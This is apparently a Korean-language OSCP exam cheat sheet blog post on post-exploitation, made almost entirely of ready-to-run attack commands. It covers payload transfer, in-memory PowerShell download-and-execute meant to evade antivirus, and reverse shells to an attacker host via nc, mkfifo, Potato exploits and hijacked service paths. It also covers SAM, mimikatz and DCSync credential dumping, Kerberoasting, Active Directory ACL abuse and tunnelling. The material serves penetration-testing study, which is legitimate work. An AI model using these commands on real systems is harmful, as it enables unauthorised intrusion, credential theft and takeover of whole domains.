[OSCP] Post-Exploitation 2026ver
[OSCP] Post-Exploitation 2026ver
© 2026 zzer0. All rights reserved. No part of this publication may be reproduced, modified, or distributed for commercial purposes without permission from the author.
File Transfer
Linux → Windows
- SMB (가장 안정적)
1 2 3 4
# Kali impacket-smbserver share /tmp/share -smb2support # Win cmd: \\<Kali-IP>\share\file.exe (그대로 실행 가능) # copy \\<Kali-IP>\share\f.exe .
- HTTP
1 2 3 4 5
# Kali python3 -m http.server 80 # Win cmd: certutil -urlcache -split -f http://<Kali-IP>/f.exe f.exe # Win ps: IWR http://<Kali-IP>/f.exe -OutFile f.exe # Win ps: (New-Object Net.WebClient).DownloadFile('http://<Kali-IP>/f.exe','C:\Users\Public\f.exe')
Windows → Linux
1
2
3
# Kali (인증 + 쓰기 가능 SMB 서버)
impacket-smbserver share /tmp/share -smb2support -username u -password p
# Win cmd: copy file.txt \\<Kali-IP>\share\
In-Memory PowerShell (디스크 올리지 않고 AV 우회)
1
2
IEX(New-Object Net.WebClient).DownloadString('http://<Kali-IP>/Inv-PSTcp.ps1')
IEX (IRM http://<Kali-IP>/Inv-PSTcp.ps1)
Linux ↔ Linux
1
2
scp -i id_rsa file.txt <U>@<Target>:/tmp/
# 또는 wget/curl + python3 -m http.server (위와 동일)
Linux Privilege Escalation
Quick Manual Checklist
1
2
3
4
5
6
7
8
9
10
id; sudo -l; groups
uname -a; cat /etc/os-release
ls -la /etc/passwd /etc/shadow # writable? readable?
find / -perm -4000 -type f 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab; ls -la /etc/cron.*; ls -la /var/spool/cron/
ss -tulpn 2>/dev/null || netstat -tulpn # 내부만 listening 시 → 터널 트리거
mount | grep -i nfs # no_root_squash?
echo $PATH # writable PATH dir?
ls -la /home/* 2>/dev/null
Automated Enumeration
LinPEAS
- 실행 결과 중 Red on Yellow는 권한 상승 벡터가 될 수 있음
1
curl -L http://<Kali-IP>/linpeas.sh | sh
LSE
- 0 레벨 : 중요 정보
1
curl -L http://<Kali-IP>/lse.sh | bash -s -- -l 0
- 1 레벨 : 상세 정보
1
curl -L http://<Kali-IP>/lse.sh | bash -s -- -l 1
Process Monitoring
- 숨겨진 백그라운드 프로세스 및 크론 모니터링
1
./pspy64 -pf -i 1000
Kernel Exploits (커널 취약점)
커널 및 OS 버전 확인
1
2
uname -a
cat /etc/os-release
해당 버전 취약점 검색
1
searchsploit linux kernel <Version>
자주 사용되는 CVE 예시
1
2
3
4
CVE-2021-4034 PwnKit (polkit pkexec) Ubuntu 14.04~21.04
CVE-2021-3156 Baron Samedit (sudo) sudo < 1.9.5p2
CVE-2022-0847 DirtyPipe kernel 5.8 ≤ x < 5.16.11/5.15.25/5.10.102
CVE-2023-32629 GameOver(lay) Ubuntu OverlayFS
Sudo & SUID (잘못된 권한 설정)
- 참고
1
https://gtfobins.org/
Sudo -l
- 패스워드 없이 실행 가능한 명령어 확인
1
sudo -l
- Sudo OpenVPN 악용
1
sudo openvpn --dev null --script-security 2 --up '/bin/sh -c sh'
- Sudo SSH ProxyCommand 악용
1
sudo ssh -o ProxyCommand=';/bin/bash 0<&2 1>&2' x
SUID/GUID & Relative Path
- 특수 권한이 설정된 바이너리 악용
- SUID 설정된 모든 파일 검색
1
find / -perm -4000 -type f 2>/dev/null
- Relative Path Exploit (절대경로가 아닌 스크립트 실행 악용)
1 2 3 4 5
echo '#!/bin/bash' > /tmp/nc echo 'busybox nc <Kali-IP> 9001 -e sh' >> /tmp/nc chmod +x /tmp/nc export PATH=/tmp:$PATH ./vulnerable_suid_binary
Capabilities & Cron Jobs
Capabilities
- 바이너리에 부여된 특수 권한(cap_setuid)
- 부여된 Capabilities 검색
1
getcap -r / 2>/dev/null - python에 cap_setuid가 있을 때 악용 예시
1
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
Cron Jobs
- 주기적으로 실행되는 tar * 스크립트 수정 및 덮어쓰기
- 예약 작업 확인
1
cat /etc/crontab - Tar Wildcard Injection
1 2 3
echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <Kali-IP> 4444 >/tmp/f' > shell.sh touch -- "--checkpoint=1" touch -- "--checkpoint-action=exec=sh shell.sh"
Internal Services & Password Hunting
Writable Files
- 웹 설정 파일 등에서 패스워드 검색
1
grep -rnw '/var/www/html' -e 'password' -e 'db_pass' 2>/dev/null
- 명령어 history 확인
1
cat ~/.bash_history
Localhost Services
- 내부에서 리스닝 중인 포트 확인
1 2
ss -tulpn netstat -ano
Windows Privilege Escalation
Quick Permission Check
1
2
3
4
5
6
7
8
whoami /priv :: SeImpersonate / SeBackup / SeRestore / SeDebug 식별
whoami /groups :: Backup / Server / Account Operators
whoami /all
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type"
hostname
net user
net localgroup administrators
ipconfig /all
AlwaysInstallElevated 빠른 점검
1
2
3
4
5
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
:: 둘 다 0x1이면:
:: Kali: msfvenom -p windows/x64/shell_reverse_tcp LHOST=<Kali> LPORT=4444 -f msi -o evil.msi
:: Win: msiexec /quiet /qn /i C:\Users\Public\evil.msi
Automated Enumeration
WinPEAS
- 실행 결과 중 빨간색 글씨는 권한 상승 벡터가 될 수 있음
1
.\winPEASx64.exe
PowerUp / Seatbelt / accesschk
- PowerUp (서비스/레지스트리 자동 분석)
1
IEX(New-Object Net.WebClient).DownloadString('http://<Kali-IP>/PowerUp.ps1'); Invoke-AllChecks
- Seatbelt (시스템 정보 일괄 + 자격 위치)
1
.\Seatbelt.exe -group=all
- accesschk (서비스 권한 점검)
1 2
.\accesschk.exe /accepteula -uwcqv "Authenticated Users" * .\accesschk.exe /accepteula -uwcqv "<Username>" *
Cached Credentials & PowerShell History
- 캐시된 자격 증명 확인
1
cmdkey /list
- PowerShell 명령어 히스토리 확인
1
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
- WiFi 저장 비번 확인
1 2
netsh wlan show profiles netsh wlan show profile name="<SSID>" key=clear
- DPAPI / Credentials 위치 (mimikatz 또는 SharpDPAPI 후속 처리)
1 2
dir /a "%APPDATA%\Microsoft\Protect" dir /a "%LOCALAPPDATA%\Microsoft\Credentials"
Windows Privileges (특수 권한 악용)
SeImpersonatePrivilege
- 구형 타겟 (Windows 7, Server 2008, 2012): Juicy Potato
1 2 3
.\JuicyPotatox86.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c c:\temp\shell.exe" -t * .\JuicyPotatox86.exe -l 1337 -c "{F3123862-2122-491A-851E-CEB75DB948B0}" -p c:\windows\system32\cmd.exe -a "/c type C:\Users\Administrator\Desktop\proof.txt > c:\wamp\www\flag.txt" -t * .\JuicyPotatox86.exe -l 1337 -c "{9B1F122C-2982-4e91-AA8B-E071D54F2A4D}" -p c:\windows\system32\cmd.exe -a "/c type C:\Users\Administrator\Desktop\proof.txt > c:\wamp\www\flag.txt" -t *
- 신형 타겟 (Windows 10, Server 2016, 2019 이상): PrintSpoofer 또는 GodPotato
1 2
.\PrintSpoofer64.exe -c "C:\Users\Public\nc.exe <Kali-IP> 4444 -e cmd.exe" .\PrintSpoofer64.exe -c "cmd /c type C:\Users\Administrator\Desktop\proof.txt > c:\inetpub\wwwroot\flag.txt"
1
.\GodPotato-NET4.exe -cmd "cmd.exe /c C:\Windows\Temp\nc.exe <Kali-IP> 4445 -e cmd.exe"
- 위 두 도구 모두 안 통할 때 fallback (Server 2019 / Win10 1809+ 패치 안 됨)
1
.\JuicyPotatoNG.exe -t * -p "C:\Windows\System32\cmd.exe" -a "/c C:\temp\nc.exe <Kali-IP> 4444 -e cmd.exe"
SeBackupPrivilege / SeRestorePrivilege
- 타겟 윈도우에서 SAM과 SYSTEM 레지스트리를 파일로 저장 (백업 권한 악용)
1 2 3
mkdir C:\temp reg save hklm\sam C:\temp\sam.save reg save hklm\system C:\temp\system.save
-
저장된 sam.save와 system.save 파일을 Kali로 전송
- Kali에서 Impacket을 이용하여 오프라인으로 해시 추출
1
impacket-secretsdump -sam sam.save -system system.save LOCAL
Service Misconfigurations (서비스 설정 오류)
Insecure Service Permissions (BinPath 변조)
- 현재 사용자(ex. Server Operators 그룹)가 특정 윈도우 서비스의 설정을 변경(Write)할 권한이 있을 경우, 서비스의 실행 경로(binPath)를 변조
- 서비스 BinPath 변조
1
sc.exe config VGAuthService binPath= "C:\Users\Public\nc.exe -e cmd.exe <Kali-IP> 4444"
- 서비스 중지 및 재시작
1 2
sc.exe stop VGAuthService sc.exe start VGAuthService
Unquoted Service Paths
- 서비스 실행 경로에 공백이 포함 + 따옴표(““)로 묶여 있지 않음 + 해당 경로의 상위 폴더에 쓰기 권한이 있을 경우
- ex. C:\Program Files\My App\service.exe 경로 -> C:\Program.exe 위치에 악성 페이로드 업로드 후 서비스 재시작
- 1) 취약 서비스 식별
1
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """
- 2) 쓰기 권한 확인 + 페이로드 배치
1 2 3 4
:: 취약 경로: C:\Program Files\My App\service.exe :: → C:\Program.exe 또는 C:\Program Files\My.exe 위치에 페이로드 배치 icacls "C:\Program Files" copy \\<Kali-IP>\share\rev.exe "C:\Program.exe"
- 3) 서비스 재시작 (또는 재부팅)
1 2
sc.exe stop <ServiceName> sc.exe start <ServiceName>
Credential Harvesting (자격 증명 수집)
Saved Credentials & Runas
- 저장된 자격 증명을 사용하여 관리자 권한으로 reverse shell 실행
1
runas /user:<Domain>\Administrator /savecred "cmd.exe /c C:\Users\Public\nc.exe -e cmd.exe <Kali-IP> 4444"
Registry & Config Files
- Autologon 레지스트리 확인
1
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"
- 무인 설치 파일 확인
1
dir /s /b c:\*unattend*.xml
Credential Dumping
secretsdump 3가지 패턴
- 1) DCSync (DA 권한 또는 GetChanges 부여 시)
1 2 3
impacket-secretsdump <DOMAIN>/<DA-User>:'<Password>'@<DC-IP> impacket-secretsdump <DOMAIN>/<DA-User>:'<Password>'@<DC-IP> -just-dc-user <Target-User> impacket-secretsdump <DOMAIN>/<DA-User>:'<Password>'@<DC-IP> -just-dc # 도메인 전체
- 2) 로컬 SAM (Backup Operators / SeBackup 권한 시)
:: 타깃에서: reg save hklm\sam C:\temp\sam.save reg save hklm\system C:\temp\system.save reg save hklm\security C:\temp\security.save1 2
# Kali에서: impacket-secretsdump -sam sam.save -system system.save -security security.save LOCAL
- 3) NTDS.dit (DC에서 SeBackup 또는 Backup Operators)
:: diskshadow로 NTDS.dit + SYSTEM 백업 추출 후 secretsdump LOCAL :: 또는 robocopy /b 로 NTDS.dit 카피
Mimikatz를 이용한 메모리 내 평문 패스워드/해시 추출
1
.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
Active Directory (AD) Exploitation
AD Group → Privesc 매핑표 (BloodHound 결과 해석)
| 그룹 / 권한 | 즉시 활용 |
|---|---|
| Domain Admins / Enterprise Admins | 끝 (DCSync) |
| Backup Operators | SeBackup 부여 → reg save SAM/SYSTEM → secretsdump LOCAL → 로컬 admin 해시 |
| Server Operators | 서비스 binPath 수정 → sc config <svc> binPath= "..." → SYSTEM |
| Account Operators | 비-특권 계정 생성/수정 → 다른 그룹(EWP 등)에 추가 후 ACL 체인 |
| DnsAdmins | DNS DLL 주입: dnscmd /config /serverlevelplugindll \\<Kali>\dll\evil.dll → DNS 재시작 |
| Exchange Windows Permissions (EWP) | 도메인 객체 ACL 수정 → 자기 계정에 DCSync 권한 부여 |
| GenericAll on User | bloodyAD set password / addspn (targeted Kerberoast) |
| GenericWrite on User | SPN 강제 부여 → targeted Kerberoasting |
| GenericWrite on Computer | RBCD: addcomputer + msDS-AllowedToActOnBehalfOfOtherIdentity |
| GenericAll/Write on GPO | SharpGPOAbuse / SeRestoreAbuse — 새 scheduled task 강제 |
| WriteDacl | impacket-dacledit → 자기 계정에 DCSync 부여 → secretsdump |
| ForceChangePassword (AllExtendedRights) | bloodyAD set password 직접 변경 |
AD Enumeration
BloodHound-Python
- 도메인 전체 권한 관계도 수집 및 zip 덤프 (LoggedOn 데이터가 PtH 경로 결정)
1 2
bloodhound-python -d '<DOMAIN.LOCAL>' -u '<Username>' -p '<Password>' -c All -ns <Target-IP> --zip bloodhound-python -d '<DOMAIN.LOCAL>' -u '<Username>' -p '<Password>' -c All,LoggedOn -ns <Target-IP> --zip
- bloodhound 접속 계정 admin/admin
1 2
sudo neo4j start bloodhound &
LAPS 패스워드 열거
- 현재 계정에 LAPS 읽기 권한이 있을 경우
1
nxc ldap <Target-IP> -u <Username> -p '<Password>' -M laps
Lateral Movement
Pass-the-Hash (PtH)
- NTLM 해시만으로 다른 시스템에 접속
1 2
evil-winrm -i <Target-IP> -u <Username> -H '<NTLM-Hash>' impacket-psexec <DOMAIN>/<Username>@<Target-IP> -hashes :<NTLM-Hash>
Overpass-the-Hash (Pass-the-Key)
- NTLM 해시를 이용해 Kerberos 티켓(TGT)을 강제로 생성
1 2
impacket-getTGT <DOMAIN>/<Username> -hashes :<NTLM-Hash> export KRB5CCNAME=<Username>.ccache
Pass-the-Ticket (PtT)
- 탈취한 Kerberos 티켓(.ccache 또는 .kirbi)을 환경 변수에 등록하여 암호 없이 시스템 접근
1
impacket-psexec -k -no-pass <DOMAIN>/<Username>@<Target-NAME>
Privilege Escalation in AD
Kerberoasting (SPN 계정 해시 탈취)
- TGS 해시 추출 (-request 옵션)
1
impacket-GetUserSPNs <DOMAIN>/<Username>:'<Password>' -request -dc-ip <Target-IP> -outputfile kerb_hashes.txt
- Hashcat 크랙 (Mode 13100)
1
hashcat -m 13100 -a 0 kerb_hashes.txt /usr/share/wordlists/rockyou.txt
GPP (Group Policy Preferences)
- SYSVOL 폴더 내 Groups.xml 파일에 암호화되어(AES-256) 저장된 로컬 관리자 비밀번호 복호화
- 타겟 윈도우에서 cpassword 검색
1
findstr /S /I cpassword \\<DOMAIN>\sysvol\<DOMAIN>\policies\*.xml
- Kali에서 복호화
1
gpp-decrypt <cpassword_string>
ACL Abuse (접근 제어 목록 악용)
- BloodHound 분석 결과 내 계정이 특정 특권 그룹(ex. EXCHANGE WINDOWS PERMISSIONS)에 속해 있거나, 도메인 객체에 대해 WriteDacl 권한이 있을 경우
- 계정을 특정 특권 관리자 그룹에 추가
1
net group "EXCHANGE WINDOWS PERMISSIONS" "<Username>" /add /domain
- Impacket Dacledit (WriteDacl 권한 악용하여 계정에 DCSync 권한 강제 부여)
1
impacket-dacledit -action 'write' -rights 'DCSync' -principal '<Username>' -target-dn 'DC=<Domain>,DC=<TLD>' '<Domain>/<Username>:<Password>'
DCSync Attack (Domain Admin)
Impacket Secretsdump (DCSync Attack 실행)
- DC에서 모든 해시값 원격 추출
1
impacket-secretsdump '<Domain>/<Username>:<Password>'@<Target-IP>
AD ACL Abuse (권한별 공격 시나리오)
GenericAll (Full Control)
- nxc을 이용한 패스워드 변경
1
nxc smb <Target-IP> -u '<User>' -p '<Pass>' --set-password '<New-Pass>'
- impacket-bloodyAD를 이용한 패스워드 변경
1
python3 bloodyAD.py -d <Domain> -u '<User>' -p '<Pass>' --host <DC-IP> set password '<Target-User>' '<New-Pass>'
GenericWrite (SPN 수정 및 Kerberoasting)
- 특정 유저에게 SPN 강제 할당 후 Kerberoasting 시도
1
python3 bloodyAD.py -d <Domain> -u '<User>' -p '<Pass>' --host <DC-IP> add spn '<Target-User>' 'something/anything'
- 이후 GetUserSPNs.py 실행
WriteDacl / WriteOwner (권한 자가 부여)
- 자신에게 DCSync 권한 부여 (bloodyAD)
1
python3 bloodyAD.py -d <Domain> -u '<User>' -p '<Pass>' --host <DC-IP> add dcsync '<Your-User>'
- secretsdump를 이용한 DCSync 공격 수행
1
impacket-secretsdump <Domain>/<Your-User>:'<Pass>'@<DC-IP> -just-dc
AllExtendedRights (Force Change Password)
- Impacket-bloodyAD로 패스워드 변경
1
python3 bloodyAD.py -d <Domain> -u '<User>' -p '<Pass>' --host <DC-IP> set password '<Target-User>' '<New-Pass>'
Domain Escalation
- 유효 계정 확보 후 서비스 계정의 TGS 티켓을 요청하여 오프라인에서 크래킹
Kerberoasting
- SPN이 설정된 계정 타겟
1
impacket-GetUserSPNs <Domain>/<User>:'<Pass>' -dc-ip <DC-IP> -request
AS-REP Roasting
- Pre-auth 미설정 계정 타겟
1
impacket-GetNPUsers <Domain>/<User>:'<Pass>' -dc-ip <DC-IP> -request
Tunneling & Pivoting
Port Forwarding (SSH -L, -R)
Local Port Forwarding (-L)
- Kali의 8080 포트를 타겟의 127.0.0.1:80 포트로 연결
1
ssh -L 8080:127.0.0.1:80 <User>@<Target-IP>
Remote Port Forwarding (-R)
- 타겟의 8888 포트를 Kali의 4444 포트로 연결
1
ssh -R 8888:127.0.0.1:4444 <User>@<Target-IP>
Dynamic SOCKS (-D)
1
2
3
ssh -D 1080 -N -f <User>@<Target-IP>
# /etc/proxychains4.conf 에 socks5 127.0.0.1 1080 추가 후
proxychains4 nxc smb <Internal-IP>
Ligolo-ng Routing
Attacker (Kali) - 인터페이스 설정 및 Proxy 실행
- TUN 인터페이스 생성 및 활성화
1 2
sudo ip tuntap add user kali mode tun ligolo sudo ip link set ligolo up
- Proxy 실행
1
./proxy -selfcert
Target (Agent) - 접속
- Kali의 Proxy 서비스로 접속 (11601 포트 기본)
1
.\agent.exe -connect <Kali-IP>:11601 -ignore-cert
Attacker (Kali) - 라우팅 추가
- 세션 선택 및 시작
1 2
ligolo-ng » session ligolo-ng » start
- Kali 터미널(새 창)에서 내부망 대역 라우팅 추가
1
sudo ip route add <Internal-Network-Range>/24 dev ligolo
Chisel (Ligolo가 실패했을 때 빠르게 셋팅하는 도구로 사용)
- Kali (서버)
1
./chisel server -p 8888 --reverse
- 타깃 (클라이언트)
1
./chisel client <Kali-IP>:8888 R:socks
- 사용 시 모든 명령어 앞에 proxychains4 붙여야 함
1 2 3
# /etc/proxychains4.conf 에 socks5 127.0.0.1 1080 추가 proxychains4 nxc smb <Internal-IP> proxychains4 evil-winrm -i <Internal-IP> -u <U> -p <P>
상세 링크 모음: 같은 시리즈의
[OSCP] References 2026ver포스트 참고.
This post is licensed under
CC BY 4.0
by the author.